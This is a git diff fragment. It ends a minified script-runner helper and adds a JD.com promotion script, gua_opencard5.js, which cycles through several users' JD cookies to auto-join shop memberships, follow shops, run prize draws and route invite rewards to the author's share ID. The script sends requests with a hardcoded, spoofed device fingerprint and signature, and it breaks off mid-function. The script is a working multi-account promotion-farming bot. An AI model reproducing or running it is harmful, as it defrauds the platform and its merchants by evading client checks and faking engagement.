Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + diff --git a/backUp/gua_opencard5.js b/backUp/gua_opencard5.js new file mode 100644 index 0000000..e890243 --- /dev/null +++ b/backUp/gua_opencard5.js @@ -0,0 +1,769 @@ +/* +8.5-8.12 冰爽夏日 钜惠送好礼 [gua_opencard5.js] +新增开卡脚本 +一次性脚本 + +邀请一人20豆 被邀请也有20豆(有可能没有豆 +开2组卡 每组50豆(有可能有抽到空气💨 +关注20京豆 (有可能有抽到空气💨 +加购5京豆 (默认不加购 如需加购请设置环境变量[guaopencard_addSku5]为"true" + +第一个账号助力作者 其他依次助力CK1 +第一个CK失效会退出脚本 + +默认脚本不执行 +如需执行脚本请设置环境变量 +guaopencard5="true" +———————————————— +若是手机用户(不是nodejs环境) 是默认直接执行脚本的 +没有适配加购变量 所有是不加购 +———————————————— +入口 +8.5-8.12 冰爽夏日 钜惠送好礼 (https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/2611148?activityId=5a1b7bc1f22e4bc5b5686bb54749de2e&shareUuid=e3b48e5703544ec094b727e3e65b6672) + +============Quantumultx=============== +[task_local] +#8.5-8.12 冰爽夏日 钜惠送好礼 +38 0,8 5-12 8 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard4.js, tag=8.5-8.12 冰爽夏日 钜惠送好礼, enabled=true + +================Loon============== +[Script] +cron "38 0,8 5-12 8 *" script-path=gua_opencard4.js,tag=8.5-8.12 冰爽夏日 钜惠送好礼 + +===============Surge================= +8.5-8.12 冰爽夏日 钜惠送好礼 = type=cron,cronexp="38 0,8 5-12 8 *",wake-system=1,timeout=3600,script-path=gua_opencard4.js + +============小火箭========= +8.5-8.12 冰爽夏日 钜惠送好礼 = type=cron,script-path=gua_opencard4.js, cronexpr="38 0,8 5-12 8 *", timeout=3600, enable=true +*/ +const $ = new Env('8.5-8.12 冰爽夏日 钜惠送好礼'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let guaopencard_addSku = false +const JD_API_HOST = `https://api.m.jd.com/client.action`; +message = "" +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + if ($.isNode()) { + if (!process.env.guaopencard5 || process.env.guaopencard5 == "false") { + console.log('如需执行脚本请设置环境变量[guaopencard5]为"true"') + return + } + guaopencard_addSku = process.env.guaopencard_addSku5 + if (!process.env.guaopencard_addSku5 || process.env.guaopencard_addSku5 == "false") { + console.log('如需加购请设置环境变量[guaopencard_addSku5]为"true"') + } + } + $.shareUuid = 'e3b48e5703544ec094b727e3e65b6672' + $.activityId = '5a1b7bc1f22e4bc5b5686bb54749de2e' + console.log(`入口:\nhttps://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/2611148?activityId=${$.activityId}&shareUuid=${$.shareUuid}`) + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + getUA() + $.nickName = ''; + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + let wxCommonInfoTokenData = await getWxCommonInfoToken(); + $.LZ_TOKEN_KEY = wxCommonInfoTokenData.LZ_TOKEN_KEY + $.LZ_TOKEN_VALUE = wxCommonInfoTokenData.LZ_TOKEN_VALUE + $.isvObfuscatorToken = await getIsvObfuscatorToken(); + await getSimpleActInfoVo() + $.myPingData = await getMyPing() + if ($.myPingData ==="" || $.myPingData === '400001' || typeof $.shopId == 'undefined' || typeof $.venderId == 'undefined') { + $.log("获取活动信息失败!") + if (i === 0) { + return + } + continue + } + await getHtml(); + await adLog(); + await getUserInfo(); + $.attrTouXiang = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' + $.actorUuid = ''; + $.actorUuid = await getActorUuid(); + if(!$.actorUuid){ + console.log('获取不到[actorUuid]退出执行,请重新执行') + if (i === 0) { + return + } + continue + } + await drawContent(); + await $.wait(1000) + let checkOpenCardData = await checkOpenCard(); + $.log($.actorUuid) + $.log("开完卡: " + checkOpenCardData.allOpenCard) + if (checkOpenCardData && !checkOpenCardData.allOpenCard) { + let flag = true + for (let cardList1Element of checkOpenCardData.cardList1) { + if(cardList1Element.status == 0){ + if(flag) console.log('组1') + if(flag) flag = false + console.log(cardList1Element.name) + await join(cardList1Element.value) + await $.wait(1000) + await drawContent(); + } + } + flag = true + for (let cardList1Element of checkOpenCardData.cardList2) { + if(cardList1Element.status == 0){ + if(flag) console.log('组2') + if(flag) flag = false + console.log(cardList1Element.name) + await join(cardList1Element.value) + await $.wait(1000) + await drawContent(); + } + } + await $.wait(1000) + await drawContent(); + checkOpenCardData = await checkOpenCard(); + await $.wait(1000) + } + if(checkOpenCardData && checkOpenCardData.score1 == 1) await startDraw(1) + if(checkOpenCardData && checkOpenCardData.score2 == 1) await startDraw(2) + $.log("关注: " + $.followShop) + if(!$.followShop) await followShop(); + if(!$.followShop) await $.wait(1000) + $.log("加购: " + $.addSku) + if(!$.addSku && guaopencard_addSku) await addSku(); + if(!$.addSku && guaopencard_addSku) await $.wait(1000) + await getActorUuid() + await $.wait(1000) + await getDrawRecordHasCoupon() + await $.wait(1000) + await getShareRecord() + // $.log($.actorUuid) + $.log($.shareUuid) + if (i === 0) { + if($.actorUuid){ + $.shareUuid = $.actorUuid; + }else{ + console.log('账号1获取不到[shareUuid]退出执行,请重新执行') + return + } + } + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + + +function getDrawRecordHasCoupon() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}&num=0&sortSuatus=1` + $.post(taskPostUrl('/dingzhi/taskact/openCardcommon/getDrawRecordHasCoupon', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + data = JSON.parse(data) + console.log(`我的奖品:`) + let num = 0 + for(let i in data.data){ + let item = data.data[i] + if(item.value == '邀请好友') num++; + if(item.value != '邀请好友') console.log(`${item.infoType != 10 && item.value +':' || ''}${item.infoName}`) + } + if(num > 0) console.log(`邀请好友(${num}):${num*20}京豆`) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} +function getShareRecord() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}&num=0&sortSuatus=1` + $.post(taskPostUrl('/dingzhi/taskact/openCardcommon/getShareRecord', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data) + $.log(`=========== 你邀请了:${data.data.length}个`) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} + +function addSku() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&taskType=2&taskValue=100023397118` + // https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/saveTask + $.post(taskPostUrl('/dingzhi/dz/openCard/saveTask', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if(data.errorMessage) console.log(`加购:${data.errorMessage || ''}`) + if(data.count == 0 && data.result == true){ + let msg = '' + if(data.data.addBeanNum){ + msg = `${data.data.addBeanNum}京豆` + } + console.log(`加购获得:${ msg || '空气💨'}`) + }else{ + $.log($.toStr(data)) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function followShop() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&taskType=23&taskValue=${$.shopId}&shareUuid=${$.shareUuid}` + // https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/followShop + $.post(taskPostUrl('/dingzhi/dz/openCard/followShop', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if(data.errorMessage) console.log(`关注:${data.errorMessage || ''}`) + if(data.count == 0 && data.result == true){ + let msg = '' + if(data.data.addBeanNum){ + msg = `${data.data.addBeanNum}京豆` + } + if(data.data.beanNumMember && data.data.assistSendStatus){ + msg += ` 额外获得:${data.data.beanNumMember}京豆` + } + console.log(`关注获得:${ msg || '空气💨'}`) + }else{ + $.log($.toStr(data)) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getshopactivityId(venderId) { + return new Promise(resolve => { + $.get(shopactivityId(`${venderId}`), async (err, resp, data) => { + try { + data = JSON.parse(data); + if(data.success == true){ + // console.log($.toStr(data.result)) + // console.log(`入会:${data.result.shopMemberCardInfo.venderCardName || ''}`) + $.shopactivityId = data.result.interestsRuleList && data.result.interestsRuleList[0] && data.result.interestsRuleList[0].interestsInfo && data.result.interestsRuleList[0].interestsInfo.activityId || '' + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function shopactivityId(functionId) { + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/2611148?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': cookie + } + } +} +function join(venderId) { + return new Promise(async resolve => { + $.shopactivityId = '' + await $.wait(1000) + await getshopactivityId(venderId) + $.get(ruhui(`${venderId}`), async (err, resp, data) => { + try { + // console.log(data) + data = JSON.parse(data); + if(data.success == true){ + $.log(data.message) + if(data.result && data.result.giftInfo){ + for(let i of data.result.giftInfo.giftList){ + console.log(`入会获得:${i.discountString}${i.prizeName}${i.secondLineDesc}`) + } + } + }else if(data.success == false){ + $.log(data.message) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function ruhui(functionId) { + let activityId = `` + if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/2611148?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': cookie + } + } +} + +function startDraw(type) { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}&type=${type}` + // https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/startDraw + $.post(taskPostUrl('/dingzhi/dz/openCard/startDraw', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // $.log($.toStr(data)) + data = $.toObj(data); + if(data.errorMessage || data.data.errorMessage) console.log(`抽奖:${data.errorMessage || data.data.errorMessage || ''}`) + if(data.count == 0 && data.result == true){ + console.log(`抽奖获得:${data.data.drawOk && data.data.name || '空气💨'}`) + }else{ + $.log($.toStr(data)) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} +function checkOpenCard() { + return new Promise(resolve => { + let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}` + $.post(taskPostUrl('/dingzhi/dz/openCard/checkOpenCard', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = $.toObj(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data && data.data || ''); + } + }) + }) +} + +function getWxCommonInfoToken () { + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/wxCommonInfo/token`, + headers: { + 'User-Agent': $.UA, + 'Content-Type':'application/x-www-form-urlencoded', + 'Host':'lzdz1-isv.isvjcloud.com', + 'Origin':'https://lzdz1-isv.isvjcloud.com', + 'Referer': `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/2611148?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': cookie, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} + + +function getIsvObfuscatorToken () { + return new Promise(resolve => { + $.post({ + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + body: 'area=16_1315_3486_59648&body=%7B%22url%22%3A%22https%3A%5C/%5C/lzdz1-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167764&client=apple&clientVersion=10.0.10&d_brand=apple&d_model=iPhone12%2C1&eid=eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0/dGmOJzfbLuyNo&isBackground=N&joycious=69&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8a0d1837f803a12eb217fcf5e1f8769cbb3f898d&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=26c65494e1732271943c1cec96ced252&st=1628051036003&sv=110&uemps=0-0&uts=0f31TVRjBStX5bTSbfg6pAhO2Wmg5ZK/rd1Af7H%2Bi%2BZ57hF33eg9bjdFRWz2rOIRuVhFImiKmG2vw8nM4uOtRRc9fvdCe13ezfdPVMYhKK7KQSWbxLEJZFKRem1GFn3BfgEQ1DXiPp6fqhwSq6NBqOpTBpN3SC1LQUgnKnZiyXJxrgNb5mAphEpeEzd9qwpoq1BXGls%2Bq8D8EUvPXXr%2B%2BQ%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b', + headers: { + 'User-Agent': $.UA, + 'Content-Type':'application/x-www-form-urlencoded', + 'Host':'api.m.jd.com', + 'Cookie': cookie, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.token); + } + }) + }) +} + +function getMyPing() { + //await $.wait(20) + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, + body: `userId=${$.shopId}&token=${$.isvObfuscatorToken}&fromType=APP`, + headers: { + 'User-Agent': $.UA, + 'Content-Type':'application/x-www-form-urlencoded', + 'Host':'lzdz1-isv.isvjcloud.com', + 'Referer':`https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/2611148?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE};`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' + let setcookie = '' + if(setcookies){ + if(typeof setcookies != 'object'){ + setcookie = setcookies.split(',') + }else setcookie = setcookies + let lz_jdpin_token = setcookie.filter(row => row.indexOf("lz_jdpin_token") !== -1)[0] + $.lz_jdpin_token = '' + if(lz_jdpin_token && lz_jdpin_token.indexOf("lz_jdpin_token=") > -1){ + $.lz_jdpin_token = lz_jdpin_token.split(';') && (lz_jdpin_token.split(';')[0] + ';') || '' + } + let LZ_TOKEN_VALUE = setcookie.filter(row => row.indexOf("LZ_TOKEN_VALUE") !== -1)[0] + if(LZ_TOKEN_VALUE && LZ_TOKEN_VALUE.indexOf("LZ_TOKEN_VALUE=") > -1){ + $.LZ_TOKEN_VALUE = LZ_TOKEN_VALUE.split(';') && (LZ_TOKEN_VALUE.split(';')[0]) || '' + $.LZ_TOKEN_VALUE = $.LZ_TOKEN_VALUE.replace('LZ_TOKEN_VALUE=','') + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} + +function getSimpleActInfoVo() { + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/dz/common/getSimpleActInfoVo`, + body: `activityId=${$.activityId}`, + headers: { + 'User-Agent': $.UA, + 'Content-Type':'application/x-www-form-urlencoded', + 'Host':'lzdz1-isv.isvjcloud.com', + 'Referer':`https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/2611148?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE};`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + data = $.toObj(data) + if(typeof data === 'object'){ + if(data.result == true && typeof data.data === 'object'){ + $.shopId = data.data.shopId + $.venderId = data.data.venderId + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getHtml() { + //await $.wait(20) + return new Promise(resolve => { + $.get({ + url: `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/2611148?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + headers: { + 'User-Agent': $.UA, + 'Host':'lzdz1-isv.isvjcloud.com', + 'X-Requested-With': 'com.jingdong.app.mall', + 'Cookie': `IsvToken=${$.isvObfuscatorToken}; LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.secretPin}; ${$.lz_jdpin_token}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function adLog() { + return new Promise(resolve => { + let pageurl = `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/2611148?activityId=${$.activityId}&shareUuid=${$.shareUuid}` + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/common/accessLogWithAD`, + body: `venderId=${$.venderId}&code=99&pin=${encodeURIComponent($.myPingData.secretPin)}&activityId=${$.activityId}&pageUrl=${encodeURIComponent(pageurl)}&subType=APP&adSource=null`, + headers: { + 'User-Agent': $.UA, + 'Host':'lzdz1-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // data = JSON.parse(data); + let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' + let setcookie = '' + if(setcookies){ + if(typeof setcookies != 'object'){ + setcookie = setcookies.split(',') + }else setcookie = setcookies + let LZ_TOKEN_KEY = setcookie.filter(row => 